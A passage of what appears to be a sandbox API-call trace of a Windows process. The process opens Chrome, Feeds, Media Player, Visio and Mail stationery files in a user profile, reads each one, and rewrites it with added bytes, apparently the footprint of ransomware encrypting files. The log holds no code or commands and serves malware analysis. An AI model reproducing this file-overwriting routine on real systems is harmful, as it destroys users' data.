dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x2e39 [0053.697] WriteFile (in: hFile=0x1ac, lpBuffer=0x2613678*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0053.698] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0053.698] WriteFile (in: hFile=0x1ac, lpBuffer=0x2613678*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesWritten=0x354f28c*=0x1000, lpOverlapped=0x0) returned 1 [0053.698] CloseHandle (hObject=0x1ac) returned 1 [0053.698] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Persistent State" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\network persistent state"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0053.698] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0053.698] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x28 [0053.698] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0053.698] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.698] ReleaseMutex (hMutex=0x128) returned 1 [0053.698] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Network Persistent State", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0053.698] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Network Persistent State", cchWideChar=24, lpMultiByteStr=0x1e7fd2c, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Network Persistent State", lpUsedDefaultChar=0x0) returned 24 [0053.699] ReadFile (in: hFile=0x1ac, lpBuffer=0x1eb2240, nNumberOfBytesToRead=0x28, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1eb2240*, lpNumberOfBytesRead=0x354f2bc*=0x28, lpOverlapped=0x0) returned 1 [0053.699] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0053.699] WriteFile (in: hFile=0x1ac, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x354f2d0*=0x5b0, lpOverlapped=0x0) returned 1 [0053.699] CloseHandle (hObject=0x1ac) returned 1 [0053.700] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Top Sites" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\top sites"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0053.700] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0053.700] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x5000 [0053.700] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0053.700] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.700] ReleaseMutex (hMutex=0x128) returned 1 [0053.700] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Top Sites", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0053.700] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Top Sites", cchWideChar=9, lpMultiByteStr=0x1e62fec, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Top Sites", lpUsedDefaultChar=0x0) returned 9 [0053.700] ReadFile (in: hFile=0x1ac, lpBuffer=0x1dabed8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1dabed8*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0053.702] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x4000 [0053.702] ReadFile (in: hFile=0x1ac, lpBuffer=0x26156a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x26156a8*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0053.702] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x4000 [0053.702] WriteFile (in: hFile=0x1ac, lpBuffer=0x2613678*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0053.703] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0053.703] WriteFile (in: hFile=0x1ac, lpBuffer=0x2613678*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesWritten=0x354f28c*=0x1000, lpOverlapped=0x0) returned 1 [0053.703] CloseHandle (hObject=0x1ac) returned 1 [0053.703] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Work~.feed-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds\\microsoft feeds~\\microsoft at work~.feed-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0053.704] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0053.705] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x7000 [0053.705] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0053.705] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.705] ReleaseMutex (hMutex=0x128) returned 1 [0053.705] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Microsoft at Work~.feed-ms", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0053.705] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Microsoft at Work~.feed-ms", cchWideChar=26, lpMultiByteStr=0x1e7fd2c, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft at Work~.feed-ms", lpUsedDefaultChar=0x0) returned 26 [0053.705] ReadFile (in: hFile=0x1ac, lpBuffer=0x1dabed8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1dabed8*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0053.706] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x6000 [0053.706] ReadFile (in: hFile=0x1ac, lpBuffer=0x26156a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x26156a8*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0053.707] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x6000 [0053.707] WriteFile (in: hFile=0x1ac, lpBuffer=0x2613678*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0053.707] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0053.707] WriteFile (in: hFile=0x1ac, lpBuffer=0x2613678*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesWritten=0x354f28c*=0x1000, lpOverlapped=0x0) returned 1 [0053.707] CloseHandle (hObject=0x1ac) returned 1 [0053.707] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\FORMS\\FRMCACHE.DAT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\forms\\frmcache.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0053.709] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0053.709] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x3c0dc [0053.709] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0053.709] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.709] ReleaseMutex (hMutex=0x128) returned 1 [0053.709] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="FRMCACHE.DAT", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0053.709] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="FRMCACHE.DAT", cchWideChar=12, lpMultiByteStr=0x1e62fec, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="FRMCACHE.DAT", lpUsedDefaultChar=0x0) returned 12 [0053.709] ReadFile (in: hFile=0x1ac, lpBuffer=0x27e6c98, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesRead=0x354f278*=0x8000, lpOverlapped=0x0) returned 1 [0053.710] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x3b0dc [0053.710] ReadFile (in: hFile=0x1ac, lpBuffer=0x1dabed8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1dabed8*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0053.711] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x3b0dc [0053.712] WriteFile (in: hFile=0x1ac, lpBuffer=0x2613678*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0053.712] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0053.712] WriteFile (in: hFile=0x1ac, lpBuffer=0x27eecc8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x27eecc8*, lpNumberOfBytesWritten=0x354f28c*=0x8000, lpOverlapped=0x0) returned 1 [0053.712] CloseHandle (hObject=0x1ac) returned 1 [0053.712] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\08_Video_rated_at_4_or_5_stars.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\08_video_rated_at_4_or_5_stars.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0053.712] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0053.712] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x3fc [0053.713] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0053.713] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.713] ReleaseMutex (hMutex=0x128) returned 1 [0053.713] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="08_Video_rated_at_4_or_5_stars.wpl", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0053.713] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="08_Video_rated_at_4_or_5_stars.wpl", cchWideChar=34, lpMultiByteStr=0x1eb2244, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="08_Video_rated_at_4_or_5_stars.wpl", lpUsedDefaultChar=0x0) returned 34 [0053.713] ReadFile (in: hFile=0x1ac, lpBuffer=0x2613698, nNumberOfBytesToRead=0x3fc, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2613698*, lpNumberOfBytesRead=0x354f2bc*=0x3fc, lpOverlapped=0x0) returned 1 [0053.714] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0053.715] WriteFile (in: hFile=0x1ac, lpBuffer=0x27e6cb8*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x27e6cb8*, lpNumberOfBytesWritten=0x354f2d0*=0x984, lpOverlapped=0x0) returned 1 [0053.715] CloseHandle (hObject=0x1ac) returned 1 [0053.715] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\06_Pictures_rated_4_or_5_stars.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\06_pictures_rated_4_or_5_stars.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0053.716] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0053.716] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x311 [0053.716] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0053.716] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.716] ReleaseMutex (hMutex=0x128) returned 1 [0053.716] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="06_Pictures_rated_4_or_5_stars.wpl", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0053.716] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="06_Pictures_rated_4_or_5_stars.wpl", cchWideChar=34, lpMultiByteStr=0x1eb2244, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="06_Pictures_rated_4_or_5_stars.wpl", lpUsedDefaultChar=0x0) returned 34 [0053.716] ReadFile (in: hFile=0x1ac, lpBuffer=0x275b028, nNumberOfBytesToRead=0x311, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x275b028*, lpNumberOfBytesRead=0x354f2bc*=0x311, lpOverlapped=0x0) returned 1 [0053.717] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0053.717] WriteFile (in: hFile=0x1ac, lpBuffer=0x27ac368*, nNumberOfBytesToWrite=0x899, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x27ac368*, lpNumberOfBytesWritten=0x354f2d0*=0x899, lpOverlapped=0x0) returned 1 [0053.718] CloseHandle (hObject=0x1ac) returned 1 [0053.718] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Visio\\content14.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\visio\\content14.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0053.718] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0053.718] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x18ce0 [0053.718] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0053.719] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.719] ReleaseMutex (hMutex=0x128) returned 1 [0053.719] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="content14.dat", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0053.719] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="content14.dat", cchWideChar=13, lpMultiByteStr=0x1e6334c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="content14.dat", lpUsedDefaultChar=0x0) returned 13 [0053.719] ReadFile (in: hFile=0x1ac, lpBuffer=0x2613678, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesRead=0x354f278*=0x4000, lpOverlapped=0x0) returned 1 [0053.720] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x17ce0 [0053.720] ReadFile (in: hFile=0x1ac, lpBuffer=0x1dabed8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1dabed8*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0053.721] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x17ce0 [0053.721] WriteFile (in: hFile=0x1ac, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0053.722] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0053.722] WriteFile (in: hFile=0x1ac, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x354f28c*=0x4000, lpOverlapped=0x0) returned 1 [0053.722] CloseHandle (hObject=0x1ac) returned 1 [0053.722] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\bears.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0053.723] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0053.723] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0xff [0053.723] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0053.723] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.723] ReleaseMutex (hMutex=0x128) returned 1 [0053.723] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Bears.htm", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0053.723] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Bears.htm", cchWideChar=9, lpMultiByteStr=0x1e6324c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Bears.htm", lpUsedDefaultChar=0x0) returned 9 [0053.723] ReadFile (in: hFile=0x1ac, lpBuffer=0x1ddb648, nNumberOfBytesToRead=0xff, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1ddb648*, lpNumberOfBytesRead=0x354f2bc*=0xff, lpOverlapped=0x0) returned 1 [0053.724] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0053.724] WriteFile (in: hFile=0x1ac, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x687, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x354f2d0*=0x687, lpOverlapped=0x0) returned 1 [0053.724] CloseHandle (hObject=0x1ac) returned 1 [0053.725] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\stars.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0053.725] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0053.725] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0xe6 [0053.725] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0053.725] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.725] ReleaseMutex (hMutex=0x128) returned 1 [0053.725] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Stars.htm", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0053.725] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Stars.htm", cchWideChar=9, lpMultiByteStr=0x1e6312c, 